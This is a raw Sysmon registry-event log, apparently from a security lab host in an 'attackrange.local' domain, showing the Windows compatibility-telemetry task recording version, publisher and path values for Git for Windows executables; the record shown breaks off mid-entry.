13241300x800000000000000036918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-protect-tool|5c31ebeff73373e2\BinProductVersion(Empty) 13241300x800000000000000036917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-protect-tool|5c31ebeff73373e2\LinkDate01/01/1970 00:00:00 13241300x800000000000000036916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-protect-tool|5c31ebeff73373e2\Publisher(Empty) 13241300x800000000000000036915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-protect-tool|5c31ebeff73373e2\LowerCaseLongPathc:\program files\git\usr\lib\gnupg\gpg-protect-tool.exe 13241300x800000000000000036914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-preset-passp|fd30c53215b384cf\BinProductVersion(Empty) 13241300x800000000000000036913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-preset-passp|fd30c53215b384cf\LinkDate01/01/1970 00:00:00 13241300x800000000000000036912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-preset-passp|fd30c53215b384cf\Publisher(Empty) 13241300x800000000000000036911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-preset-passp|fd30c53215b384cf\LowerCaseLongPathc:\program files\git\usr\lib\gnupg\gpg-preset-passphrase.exe 13241300x800000000000000036910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-error.exe|5a340ac79026d48f\BinProductVersion(Empty) 13241300x800000000000000036909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-error.exe|5a340ac79026d48f\LinkDate01/01/1970 00:00:00 13241300x800000000000000036908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-error.exe|5a340ac79026d48f\Publisher(Empty) 13241300x800000000000000036907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-error.exe|5a340ac79026d48f\LowerCaseLongPathc:\program files\git\usr\bin\gpg-error.exe 13241300x800000000000000036906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-connect-agen|faaecb1ec9697c58\BinProductVersion(Empty) 13241300x800000000000000036905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-connect-agen|faaecb1ec9697c58\LinkDate01/01/1970 00:00:00 13241300x800000000000000036904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-connect-agen|faaecb1ec9697c58\Publisher(Empty) 13241300x800000000000000036903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-connect-agen|faaecb1ec9697c58\LowerCaseLongPathc:\program files\git\usr\bin\gpg-connect-agent.exe 13241300x800000000000000036902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-check-patter|e2542f724e45af1f\BinProductVersion(Empty) 13241300x800000000000000036901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-check-patter|e2542f724e45af1f\LinkDate01/01/1970 00:00:00 13241300x800000000000000036900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-check-patter|e2542f724e45af1f\Publisher(Empty) 13241300x800000000000000036899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-check-patter|e2542f724e45af1f\LowerCaseLongPathc:\program files\git\usr\lib\gnupg\gpg-check-pattern.exe 13241300x800000000000000036898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-agent.exe|a7286887843abc16\BinProductVersion(Empty) 13241300x800000000000000036897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-agent.exe|a7286887843abc16\LinkDate01/01/1970 00:00:00 13241300x800000000000000036896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-agent.exe|a7286887843abc16\Publisher(Empty) 13241300x800000000000000036895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gpg-agent.exe|a7286887843abc16\LowerCaseLongPathc:\program files\git\usr\bin\gpg-agent.exe 13241300x800000000000000036894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gobject-query.ex|134cc30a240ef385\BinProductVersion(Empty) 13241300x800000000000000036893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gobject-query.ex|134cc30a240ef385\LinkDate01/01/1970 00:00:00 13241300x800000000000000036892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gobject-query.ex|134cc30a240ef385\Publisher(Empty) 13241300x800000000000000036891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gobject-query.ex|134cc30a240ef385\LowerCaseLongPathc:\program files\git\usr\bin\gobject-query.exe 13241300x800000000000000036890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\glib-compile-sch|5f50bc4882f3c325\BinProductVersion(Empty) 13241300x800000000000000036889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\glib-compile-sch|5f50bc4882f3c325\LinkDate01/01/1970 00:00:00 13241300x800000000000000036888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\glib-compile-sch|5f50bc4882f3c325\Publisher(Empty) 13241300x800000000000000036887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\glib-compile-sch|5f50bc4882f3c325\LowerCaseLongPathc:\program files\git\usr\bin\glib-compile-schemas.exe 13241300x800000000000000036886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gkill.exe|16f69740130f5810\BinProductVersion(Empty) 13241300x800000000000000036885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gkill.exe|16f69740130f5810\LinkDate01/01/1970 00:00:00 13241300x800000000000000036884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gkill.exe|16f69740130f5810\Publisher(Empty) 13241300x800000000000000036883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gkill.exe|16f69740130f5810\LowerCaseLongPathc:\program files\git\usr\bin\gkill.exe 13241300x800000000000000036882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gitk.exe|f586b11c21ec8a1b\BinProductVersion2.33.0.2 13241300x800000000000000036881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gitk.exe|f586b11c21ec8a1b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gitk.exe|f586b11c21ec8a1b\Publisherthe git development community 13241300x800000000000000036879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gitk.exe|f586b11c21ec8a1b\LowerCaseLongPathc:\program files\git\cmd\gitk.exe 13241300x800000000000000036878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\github.ui.exe|1ab248feff39f24\BinProductVersion2.0.498.0 13241300x800000000000000036877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\github.ui.exe|1ab248feff39f24\LinkDate12/29/2089 16:38:49 13241300x800000000000000036876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\github.ui.exe|1ab248feff39f24\Publishergithub.ui 13241300x800000000000000036875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\github.ui.exe|1ab248feff39f24\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\github.ui.exe 13241300x800000000000000036874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\github.authentic|8ce4a82757c1afc5\BinProductVersion1.5.0.0 13241300x800000000000000036873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\github.authentic|8ce4a82757c1afc5\LinkDate09/05/2019 15:01:45 13241300x800000000000000036872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\github.authentic|8ce4a82757c1afc5\Publishergithub 13241300x800000000000000036871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\github.authentic|8ce4a82757c1afc5\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\github.authentication.exe 13241300x800000000000000036870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|f578b1fba462cbf9\BinProductVersion2.33.0.2 13241300x800000000000000036869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|f578b1fba462cbf9\LinkDate08/24/2021 10:09:53 13241300x800000000000000036868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|f578b1fba462cbf9\Publisherthe git development community 13241300x800000000000000036867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|f578b1fba462cbf9\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git.exe 13241300x800000000000000036866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|ce9561cbd46d08cb\BinProductVersion2.33.0.2 13241300x800000000000000036865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|ce9561cbd46d08cb\LinkDate08/24/2021 10:09:53 13241300x800000000000000036864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|ce9561cbd46d08cb\Publisherthe git development community 13241300x800000000000000036863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|ce9561cbd46d08cb\LowerCaseLongPathc:\program files\git\bin\git.exe 13241300x800000000000000036862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|5a45dbb5af7f9d72\BinProductVersion2.33.0.2 13241300x800000000000000036861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|5a45dbb5af7f9d72\LinkDate08/24/2021 10:09:53 13241300x800000000000000036860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|5a45dbb5af7f9d72\Publisherthe git development community 13241300x800000000000000036859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|5a45dbb5af7f9d72\LowerCaseLongPathc:\program files\git\mingw64\bin\git.exe 13241300x800000000000000036858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|52b02c4a618839ad\BinProductVersion2.33.0.2 13241300x800000000000000036857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|52b02c4a618839ad\LinkDate08/24/2021 10:09:53 13241300x800000000000000036856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|52b02c4a618839ad\Publisherthe git development community 13241300x800000000000000036855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git.exe|52b02c4a618839ad\LowerCaseLongPathc:\program files\git\cmd\git.exe 13241300x800000000000000036854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-write-tree.e|792c1951a5d77083\BinProductVersion2.33.0.2 13241300x800000000000000036853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-write-tree.e|792c1951a5d77083\LinkDate08/24/2021 10:09:53 13241300x800000000000000036852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-write-tree.e|792c1951a5d77083\Publisherthe git development community 13241300x800000000000000036851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-write-tree.e|792c1951a5d77083\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-write-tree.exe 13241300x800000000000000036850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-wrapper.exe|76f08d89fd716e41\BinProductVersion2.33.0.2 13241300x800000000000000036849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-wrapper.exe|76f08d89fd716e41\LinkDate08/24/2021 10:09:53 13241300x800000000000000036848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-wrapper.exe|76f08d89fd716e41\Publisherthe git development community 13241300x800000000000000036847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-wrapper.exe|76f08d89fd716e41\LowerCaseLongPathc:\program files\git\mingw64\share\git\git-wrapper.exe 13241300x800000000000000036846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.355{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-worktree.exe|334239d9fbdc7a11\BinProductVersion2.33.0.2 13241300x800000000000000036845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 